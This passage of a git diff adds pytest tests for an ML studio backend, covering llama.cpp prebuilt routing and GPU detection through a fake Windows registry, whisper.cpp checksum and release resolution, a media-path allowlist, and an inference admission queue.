+def test_linux_vulkan_health_glob_matches_bare_cpu_lib():
+    # The widened glob must cover both arch-suffixed (x64) and bare (arm64) CPU
+    # libs so a valid Vulkan install is not re-flagged unhealthy every check.
+    choice = ilp.AssetChoice(
+        repo = UPSTREAM,
+        tag = "b9925",
+        name = "llama-b9925-bin-ubuntu-vulkan-arm64.tar.gz",
+        url = "https://example/x",
+        source_label = "upstream",
+        install_kind = "linux-vulkan",
+    )
+    groups = ilp.runtime_payload_health_groups(choice)
+    assert ["libggml-cpu*.so*"] in groups
+    assert ["libggml-cpu-*.so*"] not in groups
+
+
+def test_route_to_vulkan_prebuilt_auto_intel_goes_upstream_and_drops_fork_pin():
+    # Routing fork -> upstream also drops the fork release pin, which is in a
+    # different tag namespace and would make the upstream resolver miss.
+    host = _host(is_linux = True, is_x86_64 = True, has_intel_gpu = True)
+    routed, repo, tag = ilp._route_to_vulkan_prebuilt(host, FORK, "b9596-mix-abc", force_cpu = False)
+    assert repo == UPSTREAM
+    assert tag == ""
+    assert routed.has_intel_gpu is True
+
+
+def test_route_to_vulkan_prebuilt_preserves_explicit_upstream_pin():
+    # A pin set WITH an explicit upstream repo is already on upstream -> kept.
+    host = _host(is_linux = True, is_x86_64 = True, has_intel_gpu = True)
+    _routed, repo, tag = ilp._route_to_vulkan_prebuilt(host, UPSTREAM, "b9596", force_cpu = False)
+    assert repo == UPSTREAM
+    assert tag == "b9596"
+
+
+def test_route_to_vulkan_prebuilt_cpu_fallback_wins():
+    # --cpu-fallback suppresses Vulkan routing even for an Intel host.
+    host = _host(is_linux = True, is_x86_64 = True, has_intel_gpu = True)
+    routed, repo, tag = ilp._route_to_vulkan_prebuilt(host, FORK, "b9596-mix-abc", force_cpu = True)
+    assert repo == FORK
+    assert tag == "b9596-mix-abc"
+    assert routed is host
+
+
+@pytest.mark.parametrize("cpu_flag", ["--cpu-fallback", "--force-cpu"])
+def test_resolve_prebuilt_cpu_fallback_overrides_intel_vulkan(monkeypatch, capsys, cpu_flag):
+    """Either CPU flag via CLI must suppress Vulkan even on an Intel GPU host: both
+    drop GPU detection (--force-cpu additionally persists, on the install path)."""
+    monkeypatch.setattr(
+        ilp,
+        "detect_host",
+        lambda: _host(is_linux = True, is_x86_64 = True, has_intel_gpu = True),
+    )
+    seen = {}
+
+    def _resolver(tag, host, repo, published_release_tag):
+        seen["host"] = host
+        seen["repo"] = repo
+        raise ilp.PrebuiltFallback("no asset")
+
+    monkeypatch.setattr(ilp, "resolve_simple_install_release_plans", _resolver)
+    monkeypatch.setattr(
+        sys,
+        "argv",
+        [
+            "install_llama_prebuilt.py",
+            "--resolve-prebuilt",
+            "latest",
+            cpu_flag,
+            "--output-format",
+            "json",
+        ],
+    )
+    assert ilp.main() == ilp.EXIT_SUCCESS
+    # The CPU flag must suppress Intel GPU, route to fork (not upstream Vulkan)
+    assert seen["host"].has_intel_gpu is False
+    assert seen["repo"] == FORK
+
+
+@pytest.mark.parametrize(
+    "flags, expect_force, expect_persist",
+    [
+        ([], False, False),
+        # Automatic/transient last resort (arm64 GPU-build recovery): drops GPU but
+        # does NOT persist, so a later update heals to a GPU bundle (#6097).
+        (["--cpu-fallback"], True, False),
+        # Deliberate CPU-only (UNSLOTH_LLAMA_CPP_BACKEND=cpu): drops GPU AND persists so
+        # the updater re-asserts it and never revives the Intel iGPU crash (#7213).
+        (["--force-cpu"], True, True),
+        (["--cpu-fallback", "--force-cpu"], True, True),
+    ],
+)
+def test_cli_cpu_flags_thread_force_and_persist(
+    monkeypatch, tmp_path, flags, expect_force, expect_persist
+):
+    captured = {}
+    monkeypatch.setattr(ilp, "install_prebuilt", lambda **kw: captured.update(kw))
+    monkeypatch.setattr(
+        sys,
+        "argv",
+        ["install_llama_prebuilt.py", "--install-dir", str(tmp_path / "llama.cpp"), *flags],
+    )
+    assert ilp.main() == ilp.EXIT_SUCCESS
+    assert captured["force_cpu"] is expect_force
+    assert captured["persist_force_cpu"] is expect_persist
+
+
+@pytest.mark.parametrize(
+    "existing, requested, expected",
+    [
+        # A deliberate --force-cpu on top of a naturally-installed CPU bundle (same
+        # asset, install skipped) must still flip the marker to true (#7213).
+        (False, True, True),
+        (None, True, True),
+        # No spurious writes when already in sync, and a released force syncs down.
+        (True, True, True),
+        (False, False, False),
+        (True, False, False),
+    ],
+)
+def test_sync_marker_force_cpu(tmp_path, existing, requested, expected):
+    marker = {"tag": "b9585", "asset": "llama-b9585-bin-ubuntu-x64.tar.gz"}
+    if existing is not None:
+        marker["force_cpu"] = existing
+    marker_path = tmp_path / "UNSLOTH_PREBUILT_INFO.json"
+    marker_path.write_text(json.dumps(marker))
+    ilp.sync_marker_force_cpu(tmp_path, requested)
+    written = json.loads(marker_path.read_text())
+    assert written["force_cpu"] is expected
+    # Unrelated fields are preserved.
+    assert written["asset"] == "llama-b9585-bin-ubuntu-x64.tar.gz"
+
+
+def test_sync_marker_force_cpu_missing_marker_is_noop(tmp_path):
+    # No marker (or unreadable) must not crash the reuse path.
+    ilp.sync_marker_force_cpu(tmp_path, True)
+    assert not (tmp_path / "UNSLOTH_PREBUILT_INFO.json").exists()
+
+
+def test_route_to_vulkan_prebuilt_hidden_nvidia_not_rerouted():
+    # A mixed NVIDIA+Intel host that hid NVIDIA (CUDA_VISIBLE_DEVICES=""/-1):
+    # physical NVIDIA present but not usable. Must NOT auto-route to Vulkan, or
+    # Vulkan (which ignores CUDA_VISIBLE_DEVICES) could grab the reserved GPU.
+    host = _host(
+        is_linux = True,
+        is_x86_64 = True,
+        has_intel_gpu = True,
+        has_physical_nvidia = True,
+        has_usable_nvidia = False,
+    )
+    _routed, repo, _tag = ilp._route_to_vulkan_prebuilt(host, FORK, "", force_cpu = False)
+    assert repo == FORK
+
+
+def test_route_to_vulkan_prebuilt_rocm_host_not_rerouted():
+    # An Intel iGPU alongside a usable ROCm GPU stays on its ROCm/fork path.
+    host = _host(is_linux = True, is_x86_64 = True, has_intel_gpu = True, has_rocm = True)
+    _routed, repo, _tag = ilp._route_to_vulkan_prebuilt(host, FORK, "", force_cpu = False)
+    assert repo == FORK
+
+
+def test_route_to_vulkan_prebuilt_non_intel_unchanged():
+    host = _host(is_linux = True, is_x86_64 = True)
+    routed, repo, _tag = ilp._route_to_vulkan_prebuilt(host, FORK, "", force_cpu = False)
+    assert repo == FORK
+    assert routed is host
+
+
+def test_resolve_prebuilt_intel_host_routes_to_upstream(monkeypatch, capsys):
+    # The --resolve-prebuilt probe must agree with the install path: an
+    # auto-detected Intel host resolves against upstream (Vulkan), not the fork.
+    monkeypatch.setattr(
+        ilp, "detect_host", lambda: _host(is_linux = True, is_x86_64 = True, has_intel_gpu = True)
+    )
+    seen, out = _run_resolve_capture_host(monkeypatch, capsys)
+    assert seen["repo"] == UPSTREAM
+    assert out["repo"] == UPSTREAM
+
+
+# ---------------------------------------------------------------------------
+# windows_intel_gpu_in_registry: the in-process Windows Intel probe. A fake
+# winreg module stands in for the real registry so the walk runs anywhere.
+# ---------------------------------------------------------------------------
+
+
+class _FakeRegKey:
+    def __init__(
+        self,
+        subkeys = None,
+        values = None,
+        denied = False,
+    ):
+        self.subkeys = subkeys or {}
+        self.values = values or {}
+        self.denied = denied
+
+    def __enter__(self):
+        return self
+
+    def __exit__(self, *exc):
+        return False
+
+
+class _FakeWinreg:
+    HKEY_LOCAL_MACHINE = object()
+
+    def __init__(self, root_key):
+        self._root_key = root_key
+
+    def OpenKey(self, parent, name):
+        if parent is self.HKEY_LOCAL_MACHINE:
+            # Pin the production constant: a typo'd class GUID must fail here,
+            # not silently return the fake tree.
+            if name != ilp._WINDOWS_DISPLAY_CLASS_KEY:
+                raise FileNotFoundError(name)
+            if self._root_key is None:
+                raise FileNotFoundError(name)
+            return self._root_key
+        key = parent.subkeys.get(name)
+        if key is None:
+            # Real winreg raises OSError, never KeyError, for a missing key.
+            raise FileNotFoundError(name)
+        if key.denied:
+            raise PermissionError(name)
+        return key
+
+    def QueryInfoKey(self, key):
+        return (len(key.subkeys), len(key.values), 0)
+
+    def EnumKey(self, key, index):
+        return list(key.subkeys)[index]
+
+    def QueryValueEx(self, key, value_name):
+        if value_name not in key.values:
+            raise FileNotFoundError(value_name)
+        return (key.values[value_name], 1)
+
+
+def _probe_with_display_class(monkeypatch, adapters):
+    # The helper lazily does `import winreg`; plant the fake in sys.modules the
+    # same way unsloth_cli/tests/test_start.py fakes it for _refresh_windows_path.
+    monkeypatch.setitem(sys.modules, "winreg", _FakeWinreg(_FakeRegKey(subkeys = adapters)))
+    return ilp.windows_intel_gpu_in_registry()
+
+
+def test_windows_intel_registry_matches_vendor_id(monkeypatch):
+    assert (
+        _probe_with_display_class(
+            monkeypatch,
+            {
+                "0000": _FakeRegKey(
+                    values = {
+                        "MatchingDeviceId": r"PCI\VEN_8086&DEV_56A0&SUBSYS_12345678",
+                        "DriverDesc": "Intel(R) Arc(TM) A770 Graphics",
+                    }
+                ),
+            },
+        )
+        is True
+    )
+
+
+def test_windows_intel_registry_matches_driver_desc_without_device_id(monkeypatch):
+    assert (
+        _probe_with_display_class(
+            monkeypatch,
+            {
+                "0000": _FakeRegKey(values = {"DriverDesc": "Intel(R) UHD Graphics 630"}),
+            },
+        )
+        is True
+    )
+
+
+def test_windows_intel_registry_ignores_non_intel_adapters(monkeypatch):
+    assert (
+        _probe_with_display_class(
+            monkeypatch,
+            {
+                "0000": _FakeRegKey(
+                    values = {
+                        "MatchingDeviceId": r"PCI\VEN_10DE&DEV_2684",
+                        "DriverDesc": "NVIDIA GeForce RTX 4090",
+                    }
+                ),
+                "0001": _FakeRegKey(
+                    values = {
+                        "MatchingDeviceId": r"PCI\VEN_1002&DEV_744C",
+                        "DriverDesc": "AMD Radeon RX 7900 XTX",
+                    }
+                ),
+            },
+        )
+        is False
+    )
+
+
+def test_windows_intel_registry_skips_restricted_properties_subkey(monkeypatch):
+    # The real class key carries an ACL-restricted "Properties" subkey and can
+    # deny access to individual adapter keys; neither may abort the walk.
+    assert (
+        _probe_with_display_class(
+            monkeypatch,
+            {
+                "Properties": _FakeRegKey(denied = True),
+                "0000": _FakeRegKey(denied = True),
+                "0001": _FakeRegKey(
+                    values = {
+                        "MatchingDeviceId": r"PCI\VEN_8086&DEV_56A0",
+                    }
+                ),
+            },
+        )
+        is True
+    )
+
+
+def test_windows_intel_registry_missing_class_key_is_false(monkeypatch):
+    monkeypatch.setitem(sys.modules, "winreg", _FakeWinreg(None))
+    assert ilp.windows_intel_gpu_in_registry() is False
+
+
+def _detect_windows_host(
+    monkeypatch,
+    winreg_fake,
+    powershell_stdout = "",
+):
+    """Drive the real detect_host() as a GPU-less Windows host with a fake
+    registry, recording every run_capture invocation. Pins the wiring the
+    unit tests above cannot see: registry-first, CIM only on a registry miss."""
+    monkeypatch.setitem(sys.modules, "winreg", winreg_fake)
+    monkeypatch.setattr(ilp.platform, "system", lambda: "Windows")
+    monkeypatch.setattr(ilp.platform, "machine", lambda: "AMD64")
+    for _env in (
+        "CUDA_VISIBLE_DEVICES",
+        "HIP_VISIBLE_DEVICES",
+        "ROCR_VISIBLE_DEVICES",
+        "HIP_PATH",
+        "ROCM_PATH",
+    ):
+        monkeypatch.delenv(_env, raising = False)
+    monkeypatch.setattr(
+        ilp.shutil,
+        "which",
+        lambda name: "powershell" if name in ("powershell", "pwsh") else None,
+    )
+    captured = []
+
+    def _fake_run_capture(command, **kwargs):
+        captured.append(command[0])
+        if command[0] == "powershell":
+            return SimpleNamespace(returncode = 0, stdout = powershell_stdout, stderr = "")
+        return SimpleNamespace(returncode = 1, stdout = "", stderr = "")
+
+    monkeypatch.setattr(ilp, "run_capture", _fake_run_capture)
+    return ilp.detect_host(), captured
+
+
+def test_detect_host_registry_intel_skips_cim_probe(monkeypatch):
+    winreg = _FakeWinreg(
+        _FakeRegKey(
+            subkeys = {
+                "0000": _FakeRegKey(values = {"MatchingDeviceId": r"PCI\VEN_8086&DEV_56A0"}),
+            }
+        )
+    )
+    host, captured = _detect_windows_host(monkeypatch, winreg)
+    assert host.has_intel_gpu is True
+    assert "powershell" not in captured
+
+
+def test_detect_host_cim_fallback_fires_on_registry_miss(monkeypatch):
+    winreg = _FakeWinreg(
+        _FakeRegKey(
+            subkeys = {
+                "0000": _FakeRegKey(values = {"MatchingDeviceId": r"PCI\VEN_10DE&DEV_2684"}),
+            }
+        )
+    )
+    host, captured = _detect_windows_host(
+        monkeypatch, winreg, powershell_stdout = "Intel(R) Arc(TM) A770 Graphics"
+    )
+    assert host.has_intel_gpu is True
+    assert "powershell" in captured
+
+
+def test_windows_intel_registry_unexpected_error_is_false(monkeypatch):
+    # The probe is advisory: even a non-OSError bug in the walk must return
+    # False (deferring to the CIM fallback), never crash detect_host.
+    class _ExplodingWinreg:
+        HKEY_LOCAL_MACHINE = object()
+
+        def OpenKey(self, parent, name):
+            raise TypeError(name)
+
+    monkeypatch.setitem(sys.modules, "winreg", _ExplodingWinreg())
+    assert ilp.windows_intel_gpu_in_registry() is False
+
+
+def test_detect_host_cim_rescues_exploding_registry(monkeypatch):
+    class _ExplodingWinreg:
+        HKEY_LOCAL_MACHINE = object()
+
+        def OpenKey(self, parent, name):
+            raise TypeError(name)
+
+    host, captured = _detect_windows_host(
+        monkeypatch, _ExplodingWinreg(), powershell_stdout = "Intel(R) Arc(TM) A770 Graphics"
+    )
+    assert host.has_intel_gpu is True
+    assert "powershell" in captured
diff --git a/studio/backend/tests/test_install_whisper_prebuilt_checksums.py b/studio/backend/tests/test_install_whisper_prebuilt_checksums.py
new file mode 100644
index 0000000000..19bece9d0c
--- /dev/null
+++ b/studio/backend/tests/test_install_whisper_prebuilt_checksums.py
@@ -0,0 +1,231 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Trust-anchor tests for install_whisper_prebuilt.py.
+
+Whisper verifies each download against the release's own
+whisper-prebuilt-sha256.json checksum index (the same model as
+install_llama_prebuilt.py), not a committed pins file. These pin the index
+parser, the fail-closed behaviour when an asset is not covered, the
+tampered-manifest guard, and the newest-release resolution.
+"""
+
+from __future__ import annotations
+
+import importlib
+import sys
+from pathlib import Path
+
+import pytest
+
+_studio = Path(__file__).resolve().parent.parent.parent
+if str(_studio) not in sys.path:
+    sys.path.insert(0, str(_studio))
+
+iwp = importlib.import_module("install_whisper_prebuilt")
+
+if not hasattr(iwp, "parse_release_checksums"):
+    pytest.skip("checksum-model symbols not present - check branch", allow_module_level = True)
+
+_A = "0" * 64
+_B = "1" * 64
+_TAG = "v1.9.1-unsloth.1"
+_REPO = "unslothai/whisper.cpp"
+
+
+def _index(**overrides) -> dict:
+    payload = {
+        "schema_version": 1,
+        "component": "whisper.cpp",
+        "release_tag": _TAG,
+        "upstream_tag": "v1.9.1",
+        "artifacts": {
+            "whisper-v1.9.1-unsloth.1-linux-x64-cpu.tar.gz": {"sha256": _A},
+            "whisper-v1.9.1-unsloth.1-linux-x64-cuda12-portable.tar.gz": {"sha256": _B},
+        },
+    }
+    payload.update(overrides)
+    return payload
+
+
+# parse_release_checksums / expected_sha256_for are prebuilt_core re-exports;
+# their valid/fail-closed matrix is asserted against the real whisper
+# descriptor in tests/studio/install/test_prebuilt_core.py. The download-host
+# fast-path tests below still route through this module's parse wrapper.
+
+# release tag resolution.
+
+
+def test_resolve_release_tag_explicit_override_passthrough():
+    assert iwp.resolve_release_tag(_REPO, published_release_tag = "v1.9.1-unsloth.2") == (
+        "v1.9.1-unsloth.2"
+    )
+
+
+def test_resolve_release_tag_resolves_newest_when_no_override(monkeypatch):
+    monkeypatch.setattr(iwp, "resolve_newest_release_tag", lambda repo: "v9.9.9-unsloth.9")
+    assert iwp.resolve_release_tag(_REPO, published_release_tag = None) == "v9.9.9-unsloth.9"
+
+
+def test_resolve_newest_release_tag_picks_latest_published(monkeypatch):
+    releases = [
+        {"tag_name": "v1.9.1-unsloth.1", "published_at": "2026-01-01T00:00:00Z"},
+        {"tag_name": "v1.9.1-unsloth.3", "published_at": "2026-03-01T00:00:00Z"},
+        {"tag_name": "v1.9.1-unsloth.2", "published_at": "2026-02-01T00:00:00Z"},
+        {"tag_name": "draft", "published_at": "2026-09-01T00:00:00Z", "draft": True},
+        {"tag_name": "pre", "published_at": "2026-09-01T00:00:00Z", "prerelease": True},
+    ]
+    monkeypatch.setattr(iwp, "fetch_json", lambda url: releases)
+    assert iwp.resolve_newest_release_tag(_REPO) == "v1.9.1-unsloth.3"
+
+
+def test_resolve_newest_release_tag_none_published_fails_closed(monkeypatch):
+    monkeypatch.setattr(iwp, "fetch_json", lambda url: [{"tag_name": "d", "draft": True}])
+    with pytest.raises(iwp.PrebuiltFallback):
+        iwp.resolve_newest_release_tag(_REPO)
+
+
+def test_pins_symbols_are_gone():
+    # The committed-pins trust model was removed in favour of llama's runtime index.
+    for gone in ("load_pins", "pins_path", "resolve_expected_sha256", "PINS_FILENAME"):
+        assert not hasattr(iwp, gone), f"{gone} should have been removed"
+
+
+# Download-host fast path (resolve + fetch the JSON assets with no GitHub API).
+
+_CPU_ASSET = "whisper-v1.9.1-unsloth.1-linux-x64-cpu.tar.gz"
+
+
+def _manifest() -> dict:
+    return {
+        "schema_version": 1,
+        "component": "whisper.cpp",
+        "upstream_tag": "v1.9.1",
+        "artifacts": [{"asset": _CPU_ASSET, "os": "linux", "arch": "x64", "backend": "cpu"}],
+    }
+
+
+def _no_api(monkeypatch):
+    """Fail loudly if any code path touches api.github.com."""
+
+    def _boom(*a, **k):
+        raise AssertionError("api.github.com was used on the fast path")
+
+    monkeypatch.setattr(iwp, "fetch_json", _boom)
+    monkeypatch.setattr(iwp, "github_release", _boom)
+    monkeypatch.setattr(iwp, "fetch_release_bundle", _boom)
+
+
+def test_fetch_release_for_install_prefers_download_host(monkeypatch):
+    _no_api(monkeypatch)
+    monkeypatch.setattr(iwp, "_download_host_latest_release_tag", lambda repo: _TAG)
+
+    def _dhj(url):
+        if url.endswith(iwp.SHA256_ASSET_NAME):
+            return _index()
+        if url.endswith(iwp.MANIFEST_ASSET_NAME):
+            return _manifest()
+        raise AssertionError(f"unexpected url {url}")
+
+    monkeypatch.setattr(iwp, "_download_host_json", _dhj)
+    bundle, checks = iwp.fetch_release_for_install(_REPO, published_release_tag = None)
+    assert bundle.release_tag == _TAG
+    assert checks[_CPU_ASSET] == _A
+    # asset_urls point at the download host (github.com), not the API.
+    assert bundle.asset_urls[iwp.SHA256_ASSET_NAME].startswith(
+        f"https://github.com/{_REPO}/releases/"
+    )
+    assert bundle.asset_urls[_CPU_ASSET].startswith(
+        f"https://github.com/{_REPO}/releases/download/"
+    )
+    walked = iwp._fetch_release_candidate(_REPO, _TAG)
+    assert iwp.SHA256_ASSET_NAME in walked.asset_urls
+    assert _CPU_ASSET in walked.asset_urls
+
+
+def test_fetch_release_for_install_explicit_tag_skips_the_head(monkeypatch):
+    # An explicit tag needs no /releases/latest HEAD: resolving it must not call it.
+    monkeypatch.setattr(
+        iwp,
+        "_download_host_latest_release_tag",
+        lambda repo: (_ for _ in ()).throw(AssertionError("HEAD used for an explicit tag")),
+    )
+    monkeypatch.setattr(
+        iwp,
+        "_download_host_json",
+        lambda url: _index() if url.endswith(iwp.SHA256_ASSET_NAME) else _manifest(),
+    )
+    _no_api(monkeypatch)
+    bundle, checks = iwp.fetch_release_for_install(_REPO, published_release_tag = _TAG)
+    assert bundle.release_tag == _TAG
+
+
+def test_fetch_release_for_install_falls_back_to_api(monkeypatch):
+    # Fast path returns None (e.g. a 404) -> the API path resolves the release.
+    monkeypatch.setattr(iwp, "_resolve_release_via_download_host", lambda repo, tag: None)
+    sentinel = iwp.ReleaseBundle(repo = _REPO, release_tag = _TAG, manifest = _manifest(), asset_urls = {})
+    monkeypatch.setattr(iwp, "resolve_release_tag", lambda repo, *, published_release_tag: _TAG)
+    monkeypatch.setattr(iwp, "fetch_release_bundle", lambda repo, tag: sentinel)
+    monkeypatch.setattr(iwp, "fetch_release_checksums", lambda bundle: {_CPU_ASSET: _A})
+    bundle, checks = iwp.fetch_release_for_install(_REPO, published_release_tag = None)
+    assert bundle is sentinel
+    assert checks == {_CPU_ASSET: _A}
+
+
+def test_resolve_via_download_host_sha_404_returns_none(monkeypatch):
+    import urllib.error
+
+    monkeypatch.setattr(iwp, "_download_host_latest_release_tag", lambda repo: _TAG)
+
+    def _dhj(url):
+        raise urllib.error.HTTPError(url, 404, "not found", {}, None)
+
+    monkeypatch.setattr(iwp, "_download_host_json", _dhj)
+    assert iwp._resolve_release_via_download_host(_REPO, None) is None
+
+
+def test_resolve_via_download_host_tag_mismatch_returns_none(monkeypatch):
+    # A checksum index whose self-reported release_tag disagrees is rejected (None).
+    monkeypatch.setattr(iwp, "_download_host_latest_release_tag", lambda repo: _TAG)
+    monkeypatch.setattr(
+        iwp, "_download_host_json", lambda url: _index(release_tag = "v1.9.1-unsloth.2")
+    )
+    assert iwp._resolve_release_via_download_host(_REPO, None) is None
+
+
+def test_download_host_latest_release_tag_parses_redirect(monkeypatch):
+    class _Resp:
+        def __enter__(self):
+            return self
+
+        def __exit__(self, *a):
+            return False
+
+        def geturl(self):
+            return f"https://github.com/{_REPO}/releases/tag/{_TAG}"
+
+    class _Opener:
+        def open(
+            self,
+            req,
+            timeout = None,
+        ):
+            return _Resp()
+
+    monkeypatch.setattr(iwp, "_URL_OPENER", _Opener())
+    assert iwp._download_host_latest_release_tag(_REPO) == _TAG
+
+
+def test_download_host_latest_release_tag_404_returns_none(monkeypatch):
+    import urllib.error
+
+    class _Opener:
+        def open(
+            self,
+            req,
+            timeout = None,
+        ):
+            raise urllib.error.HTTPError(req.full_url, 404, "nf", {}, None)
+
+    monkeypatch.setattr(iwp, "_URL_OPENER", _Opener())
+    assert iwp._download_host_latest_release_tag(_REPO) is None
diff --git a/studio/backend/tests/test_linux_external_media_paths.py b/studio/backend/tests/test_linux_external_media_paths.py
index c763248f6a..8373cdd6bb 100644
--- a/studio/backend/tests/test_linux_external_media_paths.py
+++ b/studio/backend/tests/test_linux_external_media_paths.py
@@ -252,10 +252,19 @@ def test_legacy_browse_allowlist_includes_linux_run_media_mounts(monkeypatch, tm
         outputs_root = lambda: tmp_path / "missing-outputs",
         exports_root = lambda: tmp_path / "missing-exports",
     )
-    fake_external_media = SimpleNamespace(linux_run_media_mount_roots = lambda: [media_root])
+    fake_external_media = SimpleNamespace(
+        linux_run_media_mount_roots = lambda: [media_root],
+        macos_volume_roots = lambda: [],
+        windows_drive_roots = lambda: [],
+    )
+    fake_paths.external_media = fake_external_media
     fake_studio_db = SimpleNamespace(
         list_scan_folders = lambda: [],
         contains_sensitive_path_component = studio_db.contains_sensitive_path_component,
+        # The media root is a legitimate mount, not denied; the .ssh 403 below
+        # comes from the credential check. A False stub keeps this OS-independent
+        # (on macOS tmp_path lives under the denied /private/var).
+        is_denied_system_path = lambda _p: False,
     )
     monkeypatch.setitem(sys.modules, "utils.paths", fake_paths)
     monkeypatch.setitem(sys.modules, "utils.paths.external_media", fake_external_media)
diff --git a/studio/backend/tests/test_llama_admission.py b/studio/backend/tests/test_llama_admission.py
new file mode 100644
index 0000000000..2f04e81926
--- /dev/null
+++ b/studio/backend/tests/test_llama_admission.py
@@ -0,0 +1,320 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
+
+import asyncio
+import os
+import sys
+import threading
+
+import pytest
+
+_backend = os.path.join(os.path.dirname(__file__), "..")
+sys.path.insert(0, _backend)
+
+from core.inference import llama_admission
+from core.inference.llama_admission import (
+    ADMISSION_CONTROL_ENV,
+    ADMISSION_KEEPALIVE_INTERVAL_ENV,
+    ADMISSION_MAX_QUEUE_ENV,
+    ADMISSION_QUEUE_TIMEOUT_ENV,
+    DEFAULT_ADMISSION_KEEPALIVE_INTERVAL_S,
+    DEFAULT_ADMISSION_MAX_QUEUE,
+    DEFAULT_ADMISSION_QUEUE_TIMEOUT_S,
+    LlamaAdmissionConfig,
+    LlamaAdmissionQueueFull,
+    get_llama_admission_queue,
+    llama_admission_config_from_env,
+    reset_llama_admission_queues,
+)
+
+
+@pytest.fixture(autouse = True)
+def _reset_queues():
+    reset_llama_admission_queues()
+    yield
+    reset_llama_admission_queues()
+
+
+def test_admission_config_defaults(monkeypatch):
+    for name in (
+        ADMISSION_CONTROL_ENV,
+        ADMISSION_QUEUE_TIMEOUT_ENV,
+        ADMISSION_KEEPALIVE_INTERVAL_ENV,
+        ADMISSION_MAX_QUEUE_ENV,
+    ):
+        monkeypatch.delenv(name, raising = False)
+
+    config = llama_admission_config_from_env()
+
+    assert config.enabled is True
+    assert config.queue_timeout_s == DEFAULT_ADMISSION_QUEUE_TIMEOUT_S
+    assert config.keepalive_interval_s == DEFAULT_ADMISSION_KEEPALIVE_INTERVAL_S
+    assert config.max_queue == DEFAULT_ADMISSION_MAX_QUEUE
+
+
+def test_admission_config_env_overrides(monkeypatch):
+    monkeypatch.setenv(ADMISSION_CONTROL_ENV, "off")
+    monkeypatch.setenv(ADMISSION_QUEUE_TIMEOUT_ENV, "0")
+    monkeypatch.setenv(ADMISSION_KEEPALIVE_INTERVAL_ENV, "0.25")
+    monkeypatch.setenv(ADMISSION_MAX_QUEUE_ENV, "0")
+
+    config = llama_admission_config_from_env()
+
+    assert config.enabled is False
+    assert config.queue_timeout_s is None
+    assert config.keepalive_interval_s == 0.25
+    assert config.max_queue is None
+
+
+def test_admission_config_positive_queue_timeout_env(monkeypatch):
+    monkeypatch.setenv(ADMISSION_QUEUE_TIMEOUT_ENV, "600")
+
+    config = llama_admission_config_from_env()
+
+    assert config.queue_timeout_s == 600.0
+
+
+def test_fifo_capacity_one_grants_next_waiter_on_release():
+    async def _run():
+        queue = get_llama_admission_queue("http://llama.test")
+        config = LlamaAdmissionConfig()
+
+        first = queue.reserve(capacity = 1, config = config)
+        second = queue.reserve(capacity = 1, config = config)
+        third = queue.reserve(capacity = 1, config = config)
+
+        first_lease = first.lease_nowait()
+        assert first_lease is not None
+        assert second.lease_nowait() is None
+        assert third.lease_nowait() is None
+        assert queue.snapshot().queued == 2
+
+        first_lease.release()
+        second_lease = await second.wait(0.1)
+        assert second_lease is not None
+        assert third.lease_nowait() is None
+
+        second_lease.release()
+        third_lease = await third.wait(0.1)
+        assert third_lease is not None
+        third_lease.release()
+
+        snapshot = queue.snapshot()
+        assert snapshot.active == 0
+        assert snapshot.queued == 0
+
+    asyncio.run(_run())
+
+
+def test_queue_full_rejects_excess_waiter():
+    async def _run():
+        queue = get_llama_admission_queue("http://llama.test")
+        config = LlamaAdmissionConfig(max_queue = 1)
+
+        first = queue.reserve(capacity = 1, config = config)
+        queued = queue.reserve(capacity = 1, config = config)
+
+        assert first.lease_nowait() is not None
+        assert queued.lease_nowait() is None
+        with pytest.raises(LlamaAdmissionQueueFull):
+            queue.reserve(capacity = 1, config = config)
+
+    asyncio.run(_run())
+
+
+def test_disabled_admission_bypasses_active_slot_limit():
+    async def _run():
+        queue = get_llama_admission_queue("http://llama.test")
+        config = LlamaAdmissionConfig(enabled = False)
+
+        first = queue.reserve(capacity = 1, config = config)
+        second = queue.reserve(capacity = 1, config = config)
+
+        assert first.lease_nowait() is not None
+        assert second.lease_nowait() is not None
+        assert queue.snapshot().active == 0
+        assert queue.snapshot().queued == 0
+
+    asyncio.run(_run())
+
+
+def test_cancelling_promoted_waiter_releases_slot():
+    async def _run():
+        queue = get_llama_admission_queue("http://llama.test")
+        config = LlamaAdmissionConfig()
+
+        first = queue.reserve(capacity = 1, config = config)
+        second = queue.reserve(capacity = 1, config = config)
+        first_lease = first.lease_nowait()
+
+        first_lease.release()
+        await asyncio.sleep(0)
+        second.cancel()
+
+        snapshot = queue.snapshot()
+        assert snapshot.active == 0
+        assert snapshot.queued == 0
+
+    asyncio.run(_run())
+
+
+def test_cancelling_promoted_waiter_before_delivery_releases_slot():
+    async def _run():
+        queue = get_llama_admission_queue("http://llama.test")
+        config = LlamaAdmissionConfig()
+
+        first = queue.reserve(capacity = 1, config = config)
+        second = queue.reserve(capacity = 1, config = config)
+        first_lease = first.lease_nowait()
+
+        first_lease.release()
+        second.cancel()
+
+        snapshot = queue.snapshot()
+        assert snapshot.active == 0
+        assert snapshot.queued == 0
+
+    asyncio.run(_run())
+
+
+def test_external_waiter_future_cancel_invalidates_reservation():
+    async def _run():
+        queue = get_llama_admission_queue("http://llama.test")
+        config = LlamaAdmissionConfig()
+
+        first = queue.reserve(capacity = 1, config = config)
+        second = queue.reserve(capacity = 1, config = config)
+        first_lease = first.lease_nowait()
+        assert first_lease is not None
+        assert second._waiter is not None
+
+        second._waiter.future.cancel()
+
+        assert second.lease_nowait() is None
+        assert second.is_cancelled is True
+        assert await second.wait(0.01) is None
+
+        first_lease.release()
+        snapshot = queue.snapshot()
+        assert snapshot.active == 0
+        assert snapshot.queued == 0
+
+    asyncio.run(_run())
+
+
+def test_wait_returns_none_when_waiter_future_cancelled_during_wait():
+    async def _run():
+        queue = get_llama_admission_queue("http://llama.test")
+        config = LlamaAdmissionConfig()
+
+        first = queue.reserve(capacity = 1, config = config)
+        second = queue.reserve(capacity = 1, config = config)
+        first_lease = first.lease_nowait()
+        assert first_lease is not None
+        assert second._waiter is not None
+
+        wait_task = asyncio.create_task(second.wait(1.0))
+        await asyncio.sleep(0)
+        second._waiter.future.cancel()
+
+        assert await asyncio.wait_for(wait_task, timeout = 0.1) is None
+        assert second.is_cancelled is True
+
+        first_lease.release()
+        snapshot = queue.snapshot()
+        assert snapshot.active == 0
+        assert snapshot.queued == 0
+
+    asyncio.run(_run())
+
+
+def test_capacity_increase_promotes_existing_waiter_fifo():
+    async def _run():
